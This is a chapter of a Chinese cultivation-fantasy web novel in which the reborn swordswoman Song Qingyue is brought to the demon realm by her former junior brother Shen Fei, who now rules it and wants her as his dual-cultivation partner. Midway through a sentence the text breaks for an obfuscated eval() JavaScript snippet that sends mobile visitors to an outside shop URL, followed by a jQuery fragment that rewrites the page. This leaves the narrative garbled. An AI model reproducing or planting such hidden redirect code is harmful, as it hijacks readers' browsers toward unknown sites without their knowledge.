宋清钺想逃的心情达到了顶峰。
但心里更清楚,根本无逃脱的可能性,她现在的功力,跟那媒婆过两招,都讨不得好。
对上面前这位渊主,前生她倒是不怕,现在……还是算了吧。
人在屋檐下,不得不低头。
逃不掉只能上前,硬着头皮走过去,对方周身的威压逐渐收敛,气势也温和了些许。
“走了。”
宋清钺肩上一沉,阴风不再入骨。
是一件大红披风,上面灵力流转,还是一件法器。
宋清钺抬头看向对方。
她以为沈绯看到她脸时,会忍不住动手,但是没有,反应出乎她的意料。
当初沈绯堕魔叛逃后,她是第一个对他进行诛杀的人。如今看到同一张脸出现在他面前,这人竟连眼皮都多抬半分。
“来。”
沈绯神色如常,看不出半分异样,仿佛当真不认识她,顺势牵住她一截衣袖。
还是旧日的习惯。
在沈绯还是她师弟时,二人一同夜猎。他素来怕黑,每每便是这样,牵着她衣袖,由她迁就照拂。
宋清钺下意识想要甩开,手腕却稳稳落在沈绯虎口内,被沈绯握住不动分毫。
沈绯牵着她上了车,并肩坐下。
车外魔修欢呼再起,声浪滚滚,伴着魔兽蹄甲碾过黑石的沉响,不绝于耳。
宋清钺暗自切齿,在魔修窝里,换做以前她早就拔剑,斩草除根了。
现在连手腕都捏在魔头手里,挣脱不开。
“别动。”
沈绯扣住她的手腕,低声提醒。
挣脱不得,宋清钺索性观察周遭,顺便留意逃跑路线。
车内几颗夜明珠悬于其上,光华铺洒,亮如白昼。
无形屏障裹住整架车辇,将域外沉郁阴冷的风一并隔绝,在舆内自成一方温煦小境。
而车外依旧是雾蒙蒙一片,看不到半点鲜亮的颜色。
群山连绵,不见天日。
只凭双腿、肉眼探查,极易在山中迷路,倘若御剑飞行,倒有逃脱的可能。
“跨过前方这道结界,便彻底隔绝凡俗,入了世人口中的魔界。”
沈绯的声音,将宋清钺从沉思里拉回神。
往前看,矗立在前方的巨石,“冥渊”二字歪歪斜斜的刻在其上,不见灵力流转,不仔细瞧都瞧不见。
魔界入口比想象中古朴简约。
一阵戾风袭来,宋清钺本能的裹紧披风,那风却在接近她时消散于无形。
好强的法阵结界,宋清钺暗想。
以她现在的肉身修为,只是靠近,就已经能感受到其中狂暴绞拧,若没有身上披风发力,恐怕会被这法阵绞杀至魂飞魄散。
还真像这狗男人的作风,表面人畜无害,实则心藏渊壑,步步皆局。
“到了。”沈绯松开了她的手。
天光大亮,眼前不再是连绵群山、沉滞墨河,而是一片平原,千里沃野,处处可见生机。
红花,绿树,清浅小河,眼前色彩繁不胜数,一派宁静祥和。同传闻中火山遍地、断壁残垣的魔界,没有半分相似。
宋清钺揉了揉眼睛,确信自己没有看错。
“怎么,跟你想象中的魔界不同吗?”
“嗯。”宋清钺点头。
意识到自己在回应沈绯,宋清钺把头拧到一边,不去看他。
沈绯轻笑一声,把她衣袖重新攥进手中:“好好瞧瞧,魔界到底是怎样的光景。”
魔界跟外界没有什么不同,路过其中城镇,商铺林立,往来行人络绎,叫卖声此起彼伏,烟火气竟和凡界小城别无二致。
随着车辇前进,一座孤山拔地而起。
入山之后,方觉云遮雾绕,层峦相接,珍奇异兽、琪花瑶草随处得见,寒潭瀑布、清溪浅流更是遍布山中,足见灵气充裕。
这便是魔界渊主居所的鬼冥山。
传闻中此处是鬼气盘踞、枯骨遍地、阴风不息的死地。
但这一路走来,宋清钺心中连连赞叹,以魔渊之地养这般清灵山水,手段不凡。
强压心中叹服之感,宋清钺甩了甩袖子:“渊主可否先松手。”
沈绯眸中锁着她的形影,眉尖极轻地松了一瞬,僵持了片刻,松开了她的袖子。
“把这个拿着。”沈绯不知从那儿拿出一个葫芦。
葫芦很奇怪,竖着从中分成了两半,用红绳连着瓜蒂部分。
递给了她一半,并在倒上了酒。
清亮的酒水清晰映着她的脸,相同的眉眼,相同的朱砂痣。
这酒该不会有毒吧。
沈绯看到她脸之后,没有对她动手,该不会选择此时动手吧。
但很快,宋清钺就否定了自己的想法,现在所有魔修都退了出去,房间内只剩下她们两人,凭她现在的修为,还用不到下药谋杀。
见沈绯往自己那半只葫芦里斟了酒,随即尽数饮下。
酒都是出自同一壶,估计没什么太大的问题,宋清钺仿照沈绯,仰头一饮而尽。
“你为什么要与我结成道侣?”宋清钺放下半边葫芦。
沈绯嗤笑一声,反问道:“很奇怪吗?”
“听闻渊主是大乘期修士,再往前便是渡劫期,距离飞升仅有一步之遥,在此时迎道侣进门,还是我这样一个尚未筑基的小修士。”
“你我二人相差巨大,既然要结为道侣,请你告知于我详情。”
当然很奇怪,前生她为了修行,补全红尘劫,才会选择与他结契。
她自年幼时便在上清无情宗潜心修炼,红尘俗世一概不通。
这本是助她道心稳固的好事,却因劫难不全,缺失飞升机缘,九天灭世雷劫迟迟不降。
而沈绯桃花旺盛,追求者甚多,在拜入师门前已历世间八苦,红尘劫难应当早已度过。
选择与她结为道侣,显然不太可能是为了度过天劫。
沈绯眸底暗火一闪,眼角绷紧,片刻之后,眼角舒展,直接拉上她的手腕:“你跟我过来。”
跌跌撞撞的跟着沈绯来到庭院中央,不宋清钺反应,手就放到了白玉碑上。
“这是上清无情宗用来测灵根的玉碑,是世间测资质最准的玉碑。”
这是她做出的白玉碑,怎么搬到这了?
不过也好,她正想测测这句肉身到底是何种资质。
手掌贴上白玉碑,片刻之后,碑面漫起一层凝霜似的莹白清辉,间有金丝细络流转,寒辉层层覆满整方玉碑。
不是单纯的水灵光,而是金水双灵根,天生交融凝变的冰灵根,跟前生一样。
一样的脸,一样的先天资质。
沈绯到底要做什么?
宋清钺警惕的转头看向沈绯:“你与我结成道侣,是出于什么目的?”
“我需要一个双修之人。”沈绯手臂从她腋下穿过,将她夹在白玉碑和他之间。
垂眼可见,沈绯挂满戒指的手指在白玉碑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943156|213991||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
面上摊开,如果掀开他手臂,估摸着层层叠叠挂着各色镯子。
宋清钺这下彻底放了心,沈绯不会杀人了。因为他怕血会弄脏这些亮晶晶的石头,事后不好清理。
“这世上能跟我先天资质契合之人少之又少。”沈绯把头放在了她肩膀上,对着她的耳朵说道。
宋清钺感觉被沈绯说话时热气喷到的地方发烫,想来方才的质问,是惹恼了他。
“你的灵根跟我正好适配,有如此机缘,岂能错过。”
宋清钺看着玉碑上,先浮一层柔润碧水微光,随之漫出青木青气,二气缠卷回旋化作流风之辉,在碑上往复游走,渐渐铺满整方玉碑。
“原来如此。”
沈绯是水木双灵根变异的风灵根。
冰凝于水,风激于水木,本源同根,若二者相辅,对修炼的确有好处。
沈绯轻轻掰过她的肩膀,看着她说道:“你若与我双修,修为自会增长。我可助你精进,短期内冲破筑基,直达结丹。”
直到现在宋清钺才算是看明白。
跟以前一样,沈绯一如既往地巧言令色。
前生她从未与人双修过,修炼的进度照样超越他人,短短二百六十余年就到渡劫期境界,今生怎么就突然会需要了呢?
该不会是沈绯金玉其外,败絮其中,修魔修到走火入魔,遇到了什么瓶颈,需要炉鼎帮他突破,还美其名曰说是帮她精进。
这还真是天道好轮回。
前生她拿他渡劫,今生他拿她突破。
两项抵消,谁也不欠谁的了。
于是宋清钺直视沈绯的目光,下定决心说道:“好,我同意双修。”
把人强行掳走做炉鼎,本就是他们魔修的做派。
“不着急,本渊主做不出逼迫良家之事。”,沈绯目光沉沉的看着她,顺手整理了她落在肩膀上的长发。
“要双修,总要等你我二人婚礼完成,结契完毕,告知天地之后。我要让所有人都知晓你我二人是道侣,双修要也要修的堂堂正正。”
前生无人知道他们结契,是她擅自做的主,直接告诉沈绯她要跟他结契,沈绯很高兴的同意了,片刻都没耽误,当晚就在神识之内结了契。
只是不久之后,他就背叛了师门。
也许正因为他们结契,让她的红尘劫应验,导致他们之间决裂,他才会莫名其妙的堕入魔道。
她也没有扛过九天灭世雷劫。
“不要动你那异于常人的脑子了。”
沈绯抬起他光华璀璨的手指,催促着她,“去换衣服,一会带你去见几个人。”
沈绯准备的衣服,花纹繁复,金线流转,流光溢彩,一看便知是他的风格。
不过目前也没什么可挑的,宋清钺支开前来帮忙的女孩子,把身上的衣服一件一件的脱下,准备换上沈绯准备的衣服。
这是什么?
宋清钺抬起左臂上面有一六瓣雪花图案,其中五瓣是黑的,剩余一瓣是蓝的。
前生她身上不存在这样的图案,难道是这具身体本来就有的胎记。
凑到眼前,运转灵力,“胎记”似有所感应,微微发热,那瓣蓝的,似乎有些发黑。
这不是胎记,倒像是某种禁制。
“姑娘,换好了吗?用不用帮忙。”
不等她细想,外面就传来了促迫声。
“不用,马上。”
宋清钺立马套上衣服,拉了拉左边的袖子,确定“胎记”完全被遮盖。